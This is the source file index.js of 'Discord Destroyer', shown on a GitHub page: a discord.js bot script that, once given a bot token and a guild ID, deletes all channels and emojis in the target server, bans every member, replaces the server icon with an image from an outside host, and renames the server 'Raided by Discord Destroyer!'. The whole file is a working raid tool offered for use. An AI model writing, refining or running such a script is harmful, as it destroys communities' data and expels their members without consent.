-
Notifications
You must be signed in to change notification settings - Fork 29
/
index.js
66 lines (52 loc) · 2.07 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// Initialise a client and Discord object.
const Discord = require("discord.js");
const client = new Discord.Client();
// Get Discord Destroyer version.
const packageVersion = require("./package.json").version;
// Settings for the bot.
const settings = {
botToken: "YOUR TOKEN HERE",
guildID: "YOUR GUILD ID HERE",
guildName: "Raided by Discord Destroyer!"
};
// Startup message,
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Starting Discord Destroyer, Version: ${packageVersion}. ~(˘▾˘~)`);
// Once the bot is ready start destroying the guild!
client.once('ready', () => {
// Success msg.
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Logged in as ${client.user.tag}. (^o^)/`);
// Get the guild using the ID.
let guild = client.guilds.get(settings.guildID);
// Delete all channels.
guild.channels.forEach(c => {
c.delete();
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Deleted channel ${c.name}; ID: ${c.id}. (╯°□°)╯︵ ┻━┻`);
});
// Delete all emojis.
guild.emojis.forEach(e => {
guild.deleteEmoji(e);
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Deleted emoji ${e.name}; ID: ${e.id}. (╯°□°)╯︵ ┻━┻`);
});
// Ban all users.
guild.members.forEach(m => {
m.ban();
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Banned ${m.user.username}; ID: ${m.id}. (╯°□°)╯︵ ┻━┻`);
});
// Set the guild icon to nothing.
guild.setIcon("https://china.hacked-my.computer/95314b55.png");
// Set the guild name to the desired name.
guild.setName(settings.guildName);
// Success prompt.
console.info("\x1b[37m\x1b[42mSuccess\x1b[0m: Operation completed! (^_^)/~");
})
// Login into the bot.
client.login(settings.botToken);
// Some handle uncaught exceptions.
process.on("uncaughtException", err => {
console.error("\x1b[37m\x1b[41mERROR\x1b[0m: An unknown and unexpected error occurred! x.x.", err);
process.exit(1);
});
// Some what handle unhandled rejections.
process.on("unhandledRejection", err => {
process.exit(1);
});